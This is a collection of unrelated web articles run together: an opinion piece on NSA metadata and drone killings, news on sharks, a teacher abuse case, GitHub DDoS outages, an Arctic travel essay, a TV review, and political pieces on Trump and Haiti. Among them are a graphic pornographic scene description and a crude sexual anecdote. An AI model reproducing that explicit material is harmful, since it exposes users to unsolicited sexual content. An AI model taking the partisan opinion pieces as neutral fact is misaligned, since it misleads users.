While credible analysts and critics widely suspect federal officials are still hiding the truth, proponents of the illegal NSA espionage schemes tried to downplay its actions as the “mere” collection of metadata, rather than the actual content of calls and e-mails. Thanks to Hayden’s remarks last month at Johns Hopkins University’s Foreign Affairs Symposium, though, Americans can begin to understand the enormity of the danger — even in the unlikely event that authorities are telling the truth about how far the assaults on constitutionally protected privacy rights actually extend.
“We kill people based on metadata,” Hayden admitted. The startling confession, which has sparked headlines around the world, came after Hayden agreed with another participant at the symposium that metadata can reveal “everything” about a surveillance target. The other participant, Georgetown University Law Center professor David Cole, had quoted NSA General Counsel Stewart Baker as saying, “Metadata absolutely tells you everything about somebody’s life. If you have enough metadata, you don’t really need content.”
Hayden agreed, calling the description on the usefulness of metadata “absolutely correct.” Elements of the NSA’s Orwellian, Fourth Amendment-shredding espionage regime targeting hundreds of millions of Americans officially came to light after former contractor Snowden leaked documents about it. The revelations sparked a massive public outcry, which officials tried to downplay by claiming that the only information being collected on Americans without warrants or even probable cause was metadata. That collected data, though, includes details such as who is communicating, when, where, for how long, with whom, and more.
Of course, it is now public knowledge that the Obama administration has murdered thousands of people around the world including women, children, and even an American teenager, using its drones and missiles. In fact, the White House even claims to believe it has the legal authority to murder its victims despite never charging or prosecuting them for a crime — much less securing a conviction in a court of law. Immediately following the shocking admission and a brief pause, though, Hayden tried to suggest that the mass-murder program relying on metadata does not apply domestically.
“But that’s not what we do with this metadata,” the former CIA and NSA boss said after pausing for a moment, perhaps realizing the gravity of the admission he had just made. “It’s really important to understand the program in its entirety, not the potentiality of the program, but how the program is actually conducted.” In other words, after admitting that the federal government murders people based on metadata — can you imagine if Putin admitted doing that? — Hayden quickly tried to claim that the information collected on Americans is not used for that purpose. At least not yet.
It was not clear whether such data played a role in Obama’s selection of the multiple Americans, including a 16-year-old boy in Yemen looking for his father, murdered by drone thus far. At the event, the ex-CIA and -NSA boss then continued trying to soothe public fears over the awesome powers usurped by the federal government.
According to Hayden’s version, the NSA has been obtaining phone records from companies since October of 2001. Much of the unconstitutional snooping regime has been justified under the misnamed “Patriot” Act. The NSA then “puts them in a lockbox” that is supposedly “under very strict limitations” in terms of access. Hayden then gave a hypothetical example of how a phone number connected to a supposed “terrorist” could be checked with lawlessly collected metadata to supposedly advance “national security.”
“What it cannot do are all those things that ... allows someone to create your social network, your social interactions, your patterns of behavior,” Hayden continued after dropping the bombshell confession. “One could make the argument that could be useful, [or] that could be illegal, but it’s not done. In this debate, it’s important to distinguish what might be done with what is being done.” With NSA bosses having been exposed lying even to lawmakers under oath, however, analysts say taking them at their word would be foolish at best.
Of course, the cat Hayden let out of the bag on metadata being used to select murder targets was not entirely a surprise to analysts who have been closely following developments in the growing cloud of scandal surrounding the NSA. In February, journalists Glen Greenwald and Jeremy Scahill, citing Snowden’s leaks and comments by U.S. officials, had reported essentially the same thing: that metadata collected by the NSA is used to pick targets for extermination. Numerous innocent people have “absolutely” been killed under the program, according to a former drone operator quoted in their Intercept report.
In reality, since no trials were ever conducted and all people are supposed to be innocent until proven guilty, critics say all of the victims thus far have been innocent — at least as far as the law is concerned. Estimates suggest thousands of people from Pakistan and Yemen to Afghanistan and Somalia — many of them simply in the wrong place at the wrong time, known as “collateral damage” — have been murdered by drones so far. Obama personally approves each assassination, the Nobel Peace Prize recipient confessed publicly.
Despite officials hiding behind the half-baked veneer of the terror war, the details and admissions offered by Hayden should be extremely alarming to everyday Americans. Indeed, in recent years, the federal government has produced official documents claiming that essentially anyone with an opinion it disagrees with may be a potential “terrorist.” That includes pro-life activists, liberty lovers, constitutionalists, libertarians, conservatives, Christians, environmentalists, states’ rights proponents, advocates for national sovereignty, veterans, Orthodox Jews, and more.
While the NSA lawlessly gathers the data, the CIA has been leading much of the assassination program. As The New American reported in 2011, the agency’s mass-murder-via-drone program accelerated quickly under the Obama administration as victims from Africa to Asia were executed by missiles dropped from the sky. Even Americans are fair game, the administration claims. The developments were so extreme that a former senior intelligence official told the Washington Post that the CIA had been turned into “one hell of a killing machine.” Critics said that in addition to a brazen violation of the U.S. Constitution, the global murder programs may constitute war crimes as well.
In his May 10 report about the symposium and Hayden’s admission there, Georgetown University’s Cole noted that lawmakers on both sides of the aisle have come together to rein in some of the worst NSA abuses uncovered thus far. The effort, which would put a few tepid restrictions on the NSA’s ability to continue violating Americans’ rights, is known as the “USA Freedom Act.” However, he added in the New York Review of Books, much more needs to be done to properly deal with the issue. “The biggest mistake any of us could make would be to conclude that this bill solves the problem,” Cole said.
Photo of Michael Hayden: National Security Law Journal
Alex Newman is a correspondent for The New American, covering economics, education, politics, and more. He can be reached at This email address is being protected from spambots. You need JavaScript enabled to view it. . Follow him on Twitter @ALEXNEWMAN_JOU.
Related articles:
CIA Has Become “One Hell of a Killing Machine,” Official Says
Justice Dept. Memo Argues Killing Americans Overseas is Justified
Federal Court: Drone Killing of U.S. Citizens Is Constitutional
NSA Spy Center Melting Down, Burning Up Taxpayer Money
Dozens of U.S. Citizens May Be on Obama Assassination List
The New Age of Surveillance
Suspicions Growing Over Death of Journalist Probing NSA and CIA Abuses
Snowden Says NSA Targets Journalists Critical of Government
U.S. Phone Snooping Goes Way Beyond “National Security”
Do You Fit the Terrorist Profile?
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田舎暮らしを希望している都会の人の大きな誤解が、田舎は都会よりもお金がかからない、生活費が安くあがる、という思い込み。実は、田舎暮らしは、物価も、保険料も、税金も都会より高い。しかも、場所によっては、交際費が収入の3分の2もかかることもある。
風のなかに 土のにおいが もう一度 日本を見つける 私を見つける――。
女優の松たか子の詩的なナレーションで始まる人気番組「新日本風土記」。その叙情的な言葉に誘われるかのように、番組の熱心なファンでもあった夫婦が長野県東部の、とある集落に移住したのは32歳のときだった。
人口わずか1000人弱の小さな谷あいの集落に移り住んだ直後、道ですれ違った老婆は開口一番、夫婦のあいさつを手で遮ったかと思うと、宣告せんばかりにこう告げた。
「ここは言葉は荒れぇけど、その場限りだから気にすんな」
思えば、それが地獄の釜が開いた瞬間だったのかもしれない。その地で体験したのは、「言葉が荒れぇ」などでは済まされない地獄絵図さながらの体験だった。「新日本風土記」が映す地方の、僻地の、田舎のくったくのない笑顔。そんなものはどこにもなかった……。
「修学旅行の金は俺たちの税金だ」
現在、40歳を越えた高藤泰之（仮名）さん夫婦は、高校生になった長女とともに、長野県佐久市内で暮す。佐久は長野新幹線で東京に出るにも便利で、地元電気会社の営業マンとして働く高藤さんにとっては首都圏へのアクセスも悪くなかった。
就農を目指し、32歳のときに関西から移住したのは、佐久からもさらに車で小一時間ほど走る山間部の集落だった。小学生に上がったばかりの長女とともに移り住んだ高藤さんは就農支援を受けながら、それなりに地域にも溶け込み、子どももすっかり小学校になじみ……と、傍目には移住成功組と映っていた。
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Elena Koshka is a pretty girl with a great body, including ass, titties, lips, eyes, and hands with fingers. That’s quite the package deal folks! In this production she shows some acting talent, allowing her sister to believe she was going to make her boyfriend breakfast when in reality she was going to suck a nut from his sperm basket like a hungry chipmunk.
She takes off her sexy tight dress and removes her tantalizing panties and bra as well. The guy can do nothing but sit in amazement and stare at the heaven like conditions unfolding around him. She licks her lips and moves forward wit her plan of seducing and riding his cock until her pussy blows cream all over the place like a drunk person cream cheesing their bagel at 3AM.
She jumps into action after both are in the nude, Grabbing his penis and sucking it gently while in moans in pleasure. The two share a moment of passion. She throws her hair in the wind and flashes her pearly whites for the camera, giving the Camera Man an increased blood flow to his nether regions.
Dick ride game on point here Elena! She takes the dick into her flower cavern with joy and pleasure, Mounting the guy and riding him for all he is worth the two surely are enjoying themselves.
Is it just me or is this anyone elses favorite position as well? Just seems like you can get so deep. I swear one time I went in that way and saw my tip poke out her mouth a little bit. She was very short and I was quite long winded to say the least.
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Great white sharks might appear more often in B.C. waters as climate change warms the northern Pacific, a sign of a major environmental shift, scientists say.
article continues below
William Cheung, associate professor of University of B.C.’s Institute for the Oceans and Fisheries, said climate change will likely cause the great white to expand its range to the north.
The great white has already been recorded a few times in B.C. waters over the past few decades, Cheung said. It usually doesn’t stray far north of California, but if the Pacific continues to warm, expect more sightings on the B.C. coast.
Cheung’s work is based on computer models that show a general expansion northward of southerly species such as the great white.
He said it is not certain what will happen to the six sharks commonly found in B.C. waters — the salmon shark, the blue shark, the Pacific sleeper shark, the brown cat shark, the spiny dog fish and the tope (soupfin) shark.
Cheung said sharks worldwide, especially tropical species, will come under pressure because of climate change. Warming will likely shrink their habitat range, as over-fishing depletes their numbers.
“That really tells us to think even more carefully about the need to find a proper conservation plan for some of these shark species,” Cheung said.
John Volpe, of the University of Victoria’s environmental studies department, agrees with the UBC predictions.
He said, however, that it’s important to think of appearances of creatures such as the great white shark as episodes, instead of a northbound wave of southerly species and warmer water.
With ocean warming, Volpe said, it’s most accurate to consider geographic fingers of warm water extending and receding — and sometimes even getting pinched off in warm-water “bubbles” that can trap species.
This movement and shifting of ocean temperatures creates ecological and environmental uncertainty and instability.
Volpe said appearances of warm water species, like the great white, are advance notices of an ecological “destabilization” — the result of which nobody can predict.
It is a safe bet, however, that these warming episodes will ultimately lead to a loss of biodiversity, rather than a redistribution of world species.
“In these periods of constant change, even native species become destabilized and their long-term viability is no longer assured,” Volpe said. “The physical environment upon which everything depends becomes destabilized.
“The great white shark is big and scary, but it’s actually a harbinger of a change in fundamental ecological processes,” he said.
rwatts@timescolonist.com
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JERUSALEM — The publication late last week of eyewitness accounts by Israeli soldiers alleging acute mistreatment of Palestinian civilians in the recent Gaza fighting highlights a debate here about the rules of war. But it also exposes something else: the clash between secular liberals and religious nationalists for control over the army and society.
Several of the testimonies, published by an institute that runs a premilitary course and is affiliated with the left-leaning secular kibbutz movement, showed a distinct impatience with religious soldiers, portraying them as self-appointed holy warriors.
A soldier, identified by the pseudonym Ram, is quoted as saying that in Gaza, “the rabbinate brought in a lot of booklets and articles and their message was very clear: We are the Jewish people, we came to this land by a miracle, God brought us back to this land and now we need to fight to expel the non-Jews who are interfering with our conquest of this holy land. This was the main message, and the whole sense many soldiers had in this operation was of a religious war.”
Dany Zamir, the director of the one-year premilitary course who solicited the testimonies and then leaked them, leading to a promise by the military to investigate, is quoted in the transcripts as expressing anguish over the growing religious nationalist elements of the military.
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A New York school district received the clear to fire a teacher accused of abusing special education students, officials announced Monday.
Long Beach Middle School teacher Lisa Weitzman, 37, allegedly dug a high heel into a student’s foot, threatened to restrain a student’s hands and ankles with zip ties, sprayed Lysol on students and sent them to the bathroom as a time-out, Newsday reported Monday.
Weitzman faced eight allegations, including incidents involving five former special needs students beginning in the 2012-2013 academic year. She denied the allegations, however, according to Newsday.
Long Beach Public Schools (LBPS) placed Weitzman on paid leave beginning in November 2014 and reportedly paid her over $540,000 by the middle of August 2018, according to Newsday.
“The Board of Education will meet on Tuesday, April 2, to immediately take action on Ms. Weitzman’s termination,” the LBPS Board of Education said in a statement Monday. “The safety and well-being of our students is the district’s top priority, and we are grateful that this matter has been concluded for the benefit of our children.”
Weitzman’s disciplinary hearing began in March 2016 and ended in May 2017. (RELATED: Former Yale Soccer Coach Expected To Plead Guilty Over Involvement In College Admissions Scandal)
Weitzman was a tenured teacher, and therefore could only be punished or fired for a “just cause,” New York State Education Department officials told The Daily Caller News Foundation. Tenured teachers are entitled to a hearing, full pay and benefits during the disciplinary process. The state, however, does not get to determine the tenured teacher’s hearing decision.
LBPS and Weitzman’s attorney Debra Wabnik did not immediately respond to TheDCNF’s request for comment.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
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No matter what you think about the Essential Phone , one area that it dominates all other Android OEMs at (aside from Google, of course) is with its software updates. Less than a month after launching a beta for Android 8.1 Oreo, Essential's now pushing the software to all of its users.
This marks the first public Oreo update for the Essential Phone as Essential chose to skip 8.0 after discovering some bugs towards the end of its beta, but even so, Essential's still beating Samsung, LG, and other big players in these regards.
If you didn't jump on the Oreo beta for the Essential Phone, you'll find a lot of new toys to play with, including picture-in-picture, Android's new emoji design, a dark theme for Quick Settings that changes based on your wallpaper, Google's Autofill API for faster password entry, and way more than I have time to list here.
Essential says to "check your phone now" for the 8.1 Oreo update, and if you don't see it yet, you should be able to download and install it over the next couple of days.
If you've got an Essential Phone, what are you looking forward to the most with Android 8.1?
Essential Phone users can now join the Oreo beta with a simple OTA update
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Crash Bandicoot N.Sane Trilogy was a massive hit and so Activision aren’t stopping there. The publisher have revealed they have more remaster releases planned for later this year.
An oldie but a goodie, check out our list of the best old games on PC.
In Activision’s annual investors report they explain their plans for upcoming releases in late 2018, such as World of Warcraft: Battle for Azeroth and the latest Call of Duty game. However, the publishers also state they have plans for “releases of remastered versions of titles from our library of IP.”
This is the first time the publishers have solidly confirmed they plan on releasing remastered titles this year.
Activision have quite the back catalogue of games to choose from, but fans – myself included – are hoping for a remastered Spyro the Dragon Trilogy. Kotaku have previously said this is on the way, according to multiple sources, and if their leak is valid then the Spyro remaster will be announced in March, with the trilogy releasing in Q3 2018, fitting with the investor’s report.
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I use my "influence" on reddit and a few other sites to get traffic to a cute college students youtube vids. As a thank you she masturbates for me on skype and mails me her used panties.
164 shares
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GitHub is having one hell of a week, with four outages in five weekdays. The social coding site is currently being hit by a Distributed Denial of Service (DDoS) attack, the second one in two days. The site’s engineers are working on fixing the issue, which thankfully has not brought the whole site to its knees (unlike yesterday), but has only resulted in a “partial service outage.”
Here’s what we know so far (we’ll update this list as we learn more courtesy of status.github.com):
12:15 PM PST: We are investigating issues with pages serving.
12:41 PM PST: Pages is currently being hit with a DoS attack. We’re working to mitigate the attack.
01:22 PM PST: We’re still working to mitigate the attack on Pages.
02:11 PM PST: GitHub Pages service has returned to normal. All systems go!
02:16 PM PST: A small percentage of git repos will be unvailable while we recover a fileserver pair. Updates as we have them.
02:25 PM PST: All git repositories are now accessible.
On Tuesday, GitHub experienced a 26-minute partial service outage (a network issue at one of its upstream providers), and on Wednesday the service experienced a 24-minute partial service outage (errors with its search service). On Thursday (yesterday), the site experienced a major service outage that lasted 99 minutes and that GitHub attributed to a DDoS attack. On Friday (today), we’re back to a partial service outage, but this one is again due to a DDoS attack.
For reference, here’s what happened yesterday:
01:05 PM PST: We are investigating issues with GitHub.com
01:17 PM PST: We’re experiencing some connectivity issues at the moment. GitHub.com is currently unavailable while we resolve this.
01:33 PM PST: We are experiencing issues due to a DDOS attack, working hard to restore service
01:41 PM PST: Performance is still substantially sub par as we fend of the connection flood. We’re on it.
01:41 PM PST: We’ve temporarily disabled service on port 80 while we investigate the source of a connection flood. HTTPS, GIT, and SSH service are unaffected.
02:44 PM PST: Performance is stabilizing. We’re investigating additional mitigation strategies to harden ourselves against future attacks, similar or otherwise.
We’ll keep you posted to see if this devolves to a major service outage or if GitHub manages to fix the problem. As you can see in the log above, GitHub yesterday started looking into mitigation strategies to fight DDoS attacks, though it’s not yet clear if the company has implemented these yet.
We have contacted GitHub for more information. We will update this article if and when we hear back.
Update at 5:25PM EST: GitHub is back for all users. Today’s outage lasted a total of 130 minutes, the longest yet this week.
Image credit: Adam Fast
Read next: TNW's Daily Dose: Chromebooks, invites, and Microsoft hearts China
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Tundra and canyons in Tuktut Nogait National Park. (Photos by Charla Jones for The Globe and Mail)
Mysterious North
Few places in the world can push and pull you from agony to ecstasy
Looking at a map of Canada, most of us live huddled around the border of the United States; above us, there’s all this space, this land – sometimes referred to as Canada’s Great North. It remains a mystery to most of us; a romanticized concept of what it means to be Canadian. I don’t think I’m alone in my longing or curiosity to visit.
Glenn Gould put in this way in The Idea of North, a 1967 radio documentary. “I’ve read about it, written about it, and even pulled up my parka once and gone there. Yet like all but a very few Canadians, I’ve had no real experience of the North. I’ve remained, of necessity, an outsider. And the North has remained for me, a convenient place to dream about, spin tall tales about, and, in the end, avoid.”
Last summer I had the chance to visit Tuktut Nogait National Park, which is located 170 kilometres north of the Arctic Circle in the Northwest Territories. It is the country’s least visited national park, and in early August of 2014, I was the eighth and last visitor of the year.
A glimpse at Canada’s least-visited national park
Brightcove player
In preparation for my trip, Eric Baron, the park’s visitor experience manager, said: “Be prepared. It’s cold up here.” I was soon to learn just how cold August could be.
Tuktut Nogait hugs the border of Nunavut to the east and was created in 1998 to protect the calving grounds of the Bluenose-West caribou. “Tuktut nogait” means “young caribou” in Inuvialuktun. Estimates of the herd number vary but approximately 20,000 Bluenose-West caribou travel north to their calving grounds in the park each June.
The park is also a calving ground for the Bluenose-West caribou. 'Tuktut nogait' means 'young caribou' in Inuvialuktun. (Photo courtesy of Parks Canada)
To reach Inuvik, I flew two and half hours from Yellowknife. To reach the park, we then flew two more hours in a Twin Otter float plane from Inuvik. The plane was loaded with several barrels worth of gear. There are no facilities in the park, so everything must be brought in. Food and drink, tents for sleeping, tents for cooking, a tent for the toilet and, since nothing foreign can be left on the land, bags for human waste.
To get to the park: Some direct flights to Inuvik are available from Edmonton, Vancouver, Whitehorse and Yellowknife. Travellers can also drive the Dempster Highway to Inuvik. From Inuvik, charter a flight to the park from North-Wright Airways or purchase the six-day, self-catered base-camp trips from Parks Canada for $3,975 a person. Price includes return flight into Tuktut Nogait National Park, Parks Canada guides and the services of two Inuvialuit cultural hosts, backcountry fee and airport shuttle to and from Inuvik airport. This year’s trip runs Aug. 3 to Aug. 8. - Charla Jones
Two hours later, our floatplane landed on One Island Lake, which would be our campsite. Standing on the shore stood Ruben Green and Jonah Nakimayak, our two cultural hosts from nearby Paulatuk, wearing fur-lined coats and rain boots. They helped secure the plane to shore and greeted us warmly as we jumped off. Both had high cheekbones and brown skin weathered by a lifetime of exposure to the elements. I looked forward to hearing their stories.
We set up our tents and wrapped a bear-exclusion fence around the camp (grizzlies and black bears are resident in the park), then settled in for the night, or what the clock told us was the night since we were in a period of 24-hour daylight.
Eric was right. It was cold. I wore two hats, a sweater, long johns and two pairs of wool socks and slept in two sleeping bags, one tightened to cover the maximum amount of my face but still let me breathe. In my cocoon, in the light of night, I listened to the wind rolling across the tundra and thought of dinosaurs roaming the Arctic 240 million years ago.
The next morning we set out for a hike. I liked the people from Parks Canada, and we bantered like a close-knit family. But Jonah and Ruben were the real treasures. They sauntered across the tundra as though they were strolling through their backyard. Reuben, 58, was often quiet, but Jonah, a few months shy of 70, made jokes and rolled cigarettes. Both of them seemed peaceful. I wanted to know them better, be around them, listen to them. It was obvious they belonged here; they were a part of the ecosystem, at one with it.
Visitors sit at the edge of a canyon cliff overlooking the Hornaday river in Tuktut Nogait National Park.
There are more than 500 cultural sites in Tuktut Nogait. Only a handful have been excavated, but of those identified, the dates range from 100 to 40,000 years old. “Many Caches” is a picturesque spot overlooking the Hornaday River. As the name suggests, there were lots of 200-or-so-year-old underground caches once used by the Copper Inuit to store caribou meat. Old caribou bones lay close by and further down the site, a grave, thought to hold the body of a Copper Inuit woman. “They would bury all their belongings, even their seeds would be buried on top of them in the grave to take with them to the afterlife,” Ruben explained as he sprinkled some tobacco (a sacred plant connecting Earth to the heavens) in the air above the remains.
The following morning, I awoke sweating. The heat of the Arctic sun streamed through my orange tent as I unravelled my elaborate bedding and layers of clothing. That day T-shirts replaced parkas and clouds of mosquitoes replaced gusts of gale-force winds.
Warm or freezing, this landscape was always an intense experience. There were times when the park was more than a mere disconnection from the modern world. With more than 16,000 square kilometres of the natural world, untouched by the trappings of man, it felt like a different planet.
La Roncière Falls is a great example of natural beauty found in Tuktut Nogait National Park.
With a helicopter, the landscape opened up even more. I spent hours each day photographing Arctic beaches and waterfalls, flying through canyons, watching Bluenose-West caribou heading south along the tundra, a herd of muskox at a watering hole, a grizzly bear walking with her cub or looking at a nest of peregrine falcons in the cliffs of a canyon. I felt blessed to witness such beauty and stunned that this was my country. How could I not have known about this?
At the end of five days, I was filthy and exhausted. My face hurt from the extreme weather and my body ached. But I was elated. There are few places in the world that can push and pull you from agony to ecstasy: This is one of them.
My visit didn’t answer any existential questions about what it means to be Canadian. If anything, the North was even more mysterious, but I did feel liberated by the vastness and the full force of nature.
And I understood what Ruben meant when he said, “When we’re out here, everything is so real.”
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The first episode of Netflix’s new horror series The Order, which premieres on March 7th, reads like a pretty straightforward supernatural drama with a touch of dark humor. The second episode starts to get a little weird, and by the third installment, the show transitions into a flat-out hilarious mashup of college and horror comedy. Like the werewolves that are featured prominently in its plot, The Order doesn’t make a particularly smooth transformation, but it’s a lot more impressive once it embraces the change.
The Order is being marketed as a drama, and the initial trailer doesn’t even hint at the humor that makes the show stand out. That’s bound to produce a mismatch between expectations and reality on the scale of the marketing for Drew Goddard and Joss Whedon’s Cabin in the Woods. Unfortunately, that mismatch also afflicts the show itself. The Order would be better off if creator Dennis Heaton (Ghost Wars) and his co-writer Shelley Eriksen (Continuum) ditched all pretensions of seriousness and just fully committed to their silly spin on dark fantasy.
The Order follows Jack Morton (Jake Manley), a freshman at Belgrave University and initiate into the Hermetic Order of the Blue Rose. Jack and his grandfather, played by Matt Frewer with the same gusto for spouting ridiculous lines he showed in Orphan Black and Eureka, have plotted for years to get Jack into the secret society as a way of avenging his mother and punishing his father Edward Coventry (Max Martini). That plan involves the prerequisite conspiracy theorist cork board covered with strings, newspaper clippings, and paranoid theories that’s pinned up in their garage. It comes with a whiteboard detailing a five-year plan, starting with Jack’s college admission. Jack is meant to keep all of this under wraps, but he’s terrible at secrecy. Along with periodically mentioning his “mission,” then having to backpedal, he interrupts a campus tour led by sophomore, Order member, and immediate love interest Alyssa Drake (Sarah Grey) to show off his encyclopedic knowledge about the school. She somehow finds this charming, rather than deeply weird.
The twist is that while Jack thinks he’s signing on for the plot of The Skulls, he’s actually landed inside The Craft. The Order has amassed power not just through conventional means, but with magic spells that sound like they’ve been cribbed from Harry Potter, and Edward is the organization’s Grand Magus. The Order doesn’t realize they’re being hunted by the Knights of St. Christopher, a sacred brotherhood of werewolves that fight dark magic. (Or “gender-neutral collective” of werewolves, according to the fiery Lilith Bathory, played by Devery Jacobs.) As with What We Do in the Shadows, the lycanthropes are a real highlight in The Order. The best of the bunch is Jack’s lackadaisical RA Randall Carpio (Adam DiMarco) whose job includes handing out “a rape whistle and a how-not-to-rape pamphlet.” When the rest of Randall’s pack decides they should kill Jack for being a member of the Order, Randall demands they settle the dispute in the traditional fashion: via a game of beer pong.
It starts as ‘The Skulls,’ then turns into ‘The Craft’
The show is filled with gags like this, playing with the concept of irresponsible college students who have the power to break the rules of physics. Much of the show’s third episode is devoted to the shenanigans of a trio of Order initiates who learn a single illusion spell, culminating in a Pinky and the Brain-style “Are you thinking what I’m thinking?” moment where they alternately suggest stopping the magic, trying to learn more powerful magic they can abuse, and having a threesome. The goofy humor is interwoven into the plot to produce stories that are not just surprisingly funny, but genuinely surprising. Characters who seem destined to be recurring buddies, rivals, or mentors are killed off with shocking alacrity, with magic providing an excuse for why Belgrave’s campus isn’t swarmed with reporters responding to those deaths.
The problems come when the laughs stop, and the show grinds to a halt as it falls into boilerplate fantasy horror clichés. That weight is really felt in the scenes with Alyssa, Edward, and Vera Stone (Katharine Isabelle), the leader of Belgrave’s Order chapter. While Edward manages at least a bit of gravitas during the power jockeying and magical experimentation, their intrigues play out more like a Vampire: The Masquerade live-action role-playing game than a conflict with real stakes. The Order would do better if it just let its villains embrace full over-the-top campiness rather than trying to present them as mysterious and cool by keeping them straight-faced and grim. Hopefully, Alyssa’s mysterious past, Vera’s ambitions, or Edward’s efforts to assemble a powerful magical item will pay off as the season goes on.
The comedy is strong, but the bland protagonist doesn’t help the drama
Jack is a particularly mediocre protagonist, with the combination of a bland performance and inconsistent script making him unconvincing as an underdog townie surrounded by more privileged students at Belgrave, or even as a straight man struggling to keep up with the pace of mystical reveals. His flirtation with Alyssa is downright painful, particularly when they attempt to engage in a battle of wits with a speed match on the school’s giant chess board. If the rest of the humor wasn’t so sharp, this familiar chess metaphor would feel like self-parody. The same can be said for the scripts, which lean too heavily on buzzy phrases like “fake news” or caricatures of self-centered, entitled young people.
Visually, The Order sometimes seems taxed by the constraints of its presumably low budget. The first scene where Jack and the other hopeful pledges meet the members of the Order would be a lot creepier if it didn’t take place in broad daylight and if the mages weren’t demonstrating their power with sleight-of-hand coin tricks that looked better when they were done in the first episode of American Gods. The werewolf special effects are decent enough, and a goofy color-shifting technique meant to show that a scene is being viewed by something inhuman is tolerable because it sets up a pretty clever bait-and-switch. Three episodes into the series, the magic is rarely particularly showy. But that works out fine, given the theme that suggests how just a little power can go a long way. Similarly, the clear limits on available sets work well within the constrained world of a small college campus, where it makes sense if there’s really only one bar where teens can hang out and drink.
It’s hard to guess where this show is heading, but it works best when it sticks to humor
Considering the breakneck speed of the plot and tonal shifts in The Order’s first three episodes, it’s hard to really guess where the show is heading. There’s clearly room within its world to add even more magical creatures into the mix to serve as allies and threats to members of both factions, while expanding on the feel that basically everyone at Belgrave has had at least some brush with the supernatural. The Order could continue to combine the resigned way that the characters in Buffy treated life on the Sunnydale Hellmouth with zaniness, which it touched on when Jack asked a professor for an extension on a paper because his roommate had gone missing, and the professor and one of his colleagues pulled out custom Bingo sheets to see if they had “missing roommate” or “dead roommate” listed as a predicted excuse.
A lot more could happen on The Order. The machinations of the veteran members of the Order could finally spill beyond the boundaries of their occult temple, causing their powers to be stretched too thin as they cover up murders and grotesque student injuries. The new pledges could get into increasingly dangerous hijinks. But whatever direction the writers take will be strongest if they scale back their halfhearted adult intrigue and embrace their well-realized juvenile humor. That could let The Order provide real competition for the What We Do in the Shadows series FX plans to premiere later in March.
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Ahead of his summit with Russian President Vladimir Putin on Monday, President Trump used his Twitter account to promote blatant lies and Kremlin-favored talking points.
First, Trump posted a tweet blaming former President Obama for Russia’s attack on American democracy, claiming Obama “did NOTHING” to counter Russia.
“President Obama thought that Crooked Hillary was going to win the election, so when he was informed by the FBI about Russian Meddling, he said it couldn’t happen, was no big deal, & did NOTHING about it,” Trump tweeted. “When I won it became a big deal and the Rigged Witch Hunt headed by Strzok!”
President Obama thought that Crooked Hillary was going to win the election, so when he was informed by the FBI about Russian Meddling, he said it couldn’t happen, was no big deal, & did NOTHING about it. When I won it became a big deal and the Rigged Witch Hunt headed by Strzok! — Donald J. Trump (@realDonaldTrump) July 16, 2018
Trump’s claim is a blatant lie. In the summer of 2016, Obama wanted to issue a bipartisan statement detailing what the intelligence community knew about Russian meddling and offering federal help to states. But his effort was stymied by Senate Majority Leader Mitch McConnell (R-KY), who expressed “skepticism that the underlying intelligence truly supported the White House’s claims” about Russia interference, as the Washington Post reported.
Special counsel Robert Mueller’s latest indictment, which was filed on Friday and which charges 12 Russian military intelligence officials for interfering in the 2016 presidential election, makes it clear that Obama was right about the intelligence all along.
After blaming Obama, Trump posted another tweet blaming the United States and Mueller’s investigation for ruining U.S. relations with Russia — a talking point that was quickly echoed by the Kremlin.
Our relationship with Russia has NEVER been worse thanks to many years of U.S. foolishness and stupidity and now, the Rigged Witch Hunt! — Donald J. Trump (@realDonaldTrump) July 16, 2018
It’s not the first time Trump’s rhetoric has mirrored Russia’s. Trump and Putin have also used the same talking points to dismiss concerns about Russia’s election interference. Both world leaders have suggested Russia has been unfairly blamed because the hacks could’ve originated from anywhere in the world. Mueller’s latest indictment indicates Trump and Putin are mistaken.
During remarks made to the press pool on Monday at the beginning of the summit — just ahead of a 90-minute meeting with Putin in which no notetaker would be present — Trump didn’t so much as mention Russia’s attack on American democracy or the country’s illegal invasion and occupation of Ukraine.
Instead, Trump appeared to wink at Putin — and told him, “I think we will end up having an extraordinary relationship.”
Before the summit even starts, Trump tells Putin, "I think we will end up having an extraordinary relationship." pic.twitter.com/JskjUNOYc3 — Julia Davis (@JuliaDavisNews) July 16, 2018
Trump received a briefing in August 2016 in which he was personally warned about Russia’s efforts to infiltrate his campaign.
Shortly before that, Trump publicly encouraged Russian hackers to go after Hillary Clinton. Mueller’s latest indictment indicates that on that same day — July 27, 2016 — Russian hackers launched unprecedented cyberattacks against Clinton’s team.
Then, in October, emails stolen by Russian hackers that were ultimately published by WikiLeaks became the centerpiece of Trump’s closing message.
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Originally published by Haïti Liberté as “Five years post-quake: Haiti’s promised rebuilding is unfulfilled as Haitians challenge authoritarian rule.”
Five years after the Jan. 12, 2010 earthquake that struck Haiti’s capital region, the loudly-trumpeted reconstruction of the country is still an unrealized dream.
2015 finds Haitians fighting tooth and nail in renewed political mobilizations to create the nation-building project that big governments and aid agencies pledged but then cruelly betrayed.
North American and European powers rushed planeloads and shiploads of soldiers and bottled water to Haiti in the days and weeks following the disaster, saying they would help Haiti “build back better.” The world was aghast at the rare glimpse of Haiti’s poverty provided by earthquake coverage. Leaders like Bill Clinton even acknowledged that the failed economic policies they had imposed over decades had impoverished Haiti and, indeed, are the source of its economic underdevelopment.
But the promises of the multi-billion dollar international relief effort and aid which will reach the grassroots have proven largely illusory.
A key admission in the months following the earthquake was that democratic governance and national sovereignty were essential tools for building Haiti on a new and progressive foundation. Today, the lack of democracy and sovereignty is at the epicenter of the political firestorm sweeping the country.
For many months, the Haitian people have carried out a sustained political mobilization demanding President Michel Martelly’s resignation. They want elections, now postponed for over three years, to bring a new government and parliament that is not afraid to take up the unfinished tasks of post-earthquake reconstruction.
The protest movement calls itself “Operation Burkina Faso,” inspired by events in that west African nation. In October, the people of Burkina Faso overthrew an unpopular president, Blaise Compaoré, and his government. Haitians draw inspiration from that event and, crucially, are aware that it is inspired by the socialist, egalitarian and anti-imperialist ideas of former president Thomas Sankara, killed and overthrown by Compaoré’s forces in 1987.
Haiti’s movement scored an important victory on Dec. 13 when Martelly’s prime minister, Laurent Lamothe, resigned. But Oxygène David, a leader of the Dessalines Coordination (KOD), one of the parties leading the protests, told Haiti Liberté weekly, “Lamothe was just the smallest part of a trinity holding Haiti down. The other two elements are Martelly and MINUSTAH. They also must go for Haiti to have democracy and sovereignty.”
